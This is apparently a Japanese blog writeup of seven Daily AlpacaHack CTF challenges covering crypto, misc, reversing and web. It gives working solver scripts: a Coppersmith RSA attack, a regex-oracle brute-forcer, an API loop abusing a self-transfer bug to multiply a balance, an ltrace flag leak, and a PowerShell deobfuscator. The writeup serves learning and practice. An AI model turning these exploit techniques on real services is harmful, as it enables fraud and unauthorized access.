Daily AlpacaHack Week2 (2025-12-8 ~)

Daily AlpacaHack の Writeup.
(2025/12/8 - 2025/12/14)

後から解いたものなど含むまとめ.

Fully Padded RSA (Crypto, 2025/12/8)

パディングがされており一見安全な RSA 暗号
同じ平文に対し二つの暗号鍵で暗号化された別々の暗号文が渡されるため, 共通メッセージ攻撃が可能
二つの暗号鍵の最大公約数は 3 であった (互いに素でない!) ため, 拡張ユークリッドの互除法で平文 $m$ に対する $m^3$ を調べることができる
暗号化のコードより, フラグの文字数が 40 文字以下であること, 平文の前半が $n$ を用いてパディングされていることが判明している
後半 40 文字を調べたい未知数 $x$ とし, 前半の既知のパディング部分を $l$ とすると, 以下の式が成立 ($m^3 = M$ とする)

$$
(l \times 256^{40} + x)^3 - M \equiv 0 \mod n
$$

上式を満たす $x$ は Coppersmith の定理より計算可能
sagemath を用いて $x$ を算出しフラグ獲得

from Crypto.Util.number import *
from sage.all import *

with open("./output.txt", "r") as f:
    n, c1, c2 = [int(x.split()[-1]) for x in f.readlines()]
    
e1 = 65517
e2 = 65577

print(GCD(e1, e2))
    
def egcd(a, b):
    if b == 0:
        return (1, 0, a)
    x, y, g = egcd(b, a % b)
    return (y, x - (a // b) * y, g)

x, y, g = egcd(e1, e2)

print(x, y, g)

term1 = pow(c1, x, n)
term2 = pow(c2, y, n)

m3 = (term1 * term2) % n

prefs = bytes_to_long(long_to_bytes(n)[:-40]) * (256**40)
X = 256^40

PR.<x> = PolynomialRing(Zmod(n))
f = (prefs + x)^3 - m3

roots = f.small_roots(X=X, beta=1)

print("roots:", roots)

hit-and-miss (Misc, 2025/12/9)

正規表現のパターンを送ると, フラグがマッチするか否かを判定してくれるプログラム
何度も送ることが可能であるため, フラグの先頭から一文字ずつ総当たりで検証すれば有限時間内にフラグ獲得可能

from pwn import *
import string

_, host, port = "nc 34.170.146.252 46849".split()
sh = remote(host, port)

base_regex = r"Alpaca\{"

flag_str = ""

flag_dict = string.digits + string.ascii_lowercase + string.ascii_uppercase + "_"

prompt = sh.recvuntil("regex>".encode())
print(prompt.decode())

while True:
    hit_flag = 0
    
    for char in flag_dict:
        
        tmp_regex = base_regex + flag_str + char + r".+\}"
        print("try:", tmp_regex)
        sh.sendline(tmp_regex.encode())
        
        prompt = sh.recvuntil("regex>")
        print(prompt.decode())
        if "Hit" in prompt.decode():
            hit_flag = 1
            flag_str += char
            break
    
    if hit_flag == 0:
        print("search end")
        print("tmp flag:", flag_str)
        break

Read Assembly (Rev, 2025/12/10)

基本的に加算・代入・ジャンプで構成されたアセンブリ
Python に書き下して計算することでフラグ獲得

w0 = 0
w1 = 0
w4 = 1
w2 = 0
w3 = w2 + w4
def loop():
    global w0, w1, w2, w3, w4
    while w1 % 2 == 0:
        w0 += w3
        w1 += 1
        w4 = w2
        w2 = w3
        w3 = w2 + w4
		
while True:
	loop()
	w1 += 1
	if w1 == 0x28:
		break
	w4 = w2
	w2 = w3
	w3 = w2 + w4

print(w0)
print(hex(w0))

Alpaca Bank (Web, 2025/12/11)

1 兆以上のコインを取得することができればフラグ獲得
送金操作を行う際に, 送金先を自分自身に指定することが可能
送金操作におけるユーザーのお金の操作について, 送金元・送金先の取引前金額を変数として保持 -> 送金元の残高を更新 -> 送金先の残高を更新, という流れであり, 取引時の送金先の残高変化は操作に反映されないため, 自身にお金を送金すると送金額がそのまま残高に追加される
$n$ 回自身の残高満額を自身に送金すれば $2^n$ 倍のお金を取得可能なため, 有限回で 1 兆以上のコインを取得可能
以下でフラグ取得

import requests
import time
import json

target_url = "http://34.170.146.252:30021/api/transfer"

data = {"fromUser":"8545ab1364fe8ce60fe7","toUser":"8545ab1364fe8ce60fe7"}

headers = {"Content-Type": "application/json"}

balance = 480
for i in range(100):
    time.sleep(0.2)
    data["amount"] = balance
    resp = requests.post(target_url, data=json.dumps(data), headers=headers)
    balance *= 2
    print(resp.text)

Sugoi Flag Checker (Rev, 2025/12/12)

入力が暗号化されたフラグと比較されるプログラム
比較自体は平文で行われているため, ltrace を噛ませて比較部分における解読されたフラグを読むことができた (32 文字のテキトウな入力を与えれば比較部分に進める)

python -c "print('a'*0x20)" | ltrace ./chal

Safe Prime (Crypto, 2025/12/13)

q について p から導出される形で設定されている

$$
q = 2p + 1
$$

$n=pq$ について以下が成立

$$
n = 2p^2 + p
$$

二次方程式なので p について解くと以下となる

$$
p = \dfrac{-1+\sqrt{1+8n}}{4}
$$

1+8n が大きいため 2 分探索で $\sqrt{1+8n}$ を算出し, p を算出したうえで復号したらフラグ獲得

import math
from Crypto.Util.number import inverse, long_to_bytes

with open("./output.txt", "r") as f:
    n, c = [int(x.split()[-1]) for x in f.readlines()]

e = 65537

tmp = 1+8*n
it_range = n//4
it = n//2

while True:
    if it**2 > tmp:
        it -= it_range
    elif it**2 < tmp:
        it += it_range
    
    it_range = it_range // 2
    if it**2 == tmp:
        print("hit!", it)
        break
    elif it_range < 1:
        print("range limit")
        exit()
        
print("num check", (-1 + it) % 4)

p = (-1 + it) // 4
d = inverse(e, (p-1)*(2*p))
m = pow(c, d, n)

flag = long_to_bytes(m)
print(flag)

power_obfus_royalty (Rev, 2025/12/14)

16 進数と base64 で難読化された powershell のコード
きれいに解くことはあきらめてパターンマッチで 16 進数を文字に変換しつつ base64 のデコードをしていき, 途中途中で出てくるフラグの断片らしきものを合わせたところフラグ獲得

import re
import base64

# unicode decode
def dec_uni(code):
    pattern = re.compile(r'\[\s*char\s*\]\s*(\d+)', re.IGNORECASE)

    def repl(match):
        num = int(match.group(1))
        return "'" + chr(num) + "'"

    return pattern.sub(repl, code)

def dec_concat(code):
    CONCAT_PATTERN = re.compile(
        r"(?:'[^']*'\s*\+\s*)+'[^']*'"
    )
    def repl_concat(match):
        expr = match.group(0)
        parts = re.findall(r"'([^']*)'", expr)
        return "".join(parts)

    return CONCAT_PATTERN.sub(repl_concat, code)

def extract_enc_base64(text):
    pattern = re.compile(
        r"-enc\s+([A-Za-z0-9+/=]+)"
    )

    m = pattern.search(text)
    if not m:
        return None

    return m.group(1)

with open("./power_obfus_royalty.ps1", "r") as f:
    code = f.read()
    
uni_decoded = dec_uni(code)
concated = dec_concat(uni_decoded)

print(concated)

print("round 2")

uni_decoded = dec_uni(concated)
concated = dec_concat(uni_decoded)

enced_base = extract_enc_base64(concated)

print(enced_base)

deced_base = base64.b64decode(enced_base.encode()).decode("utf=16le")

print(deced_base)

uni_base = dec_uni(deced_base)
concated_base = dec_concat(uni_base)
uni_base = dec_uni(concated_base)
concated_base = dec_concat(uni_base)

print(concated_base)

print(concated)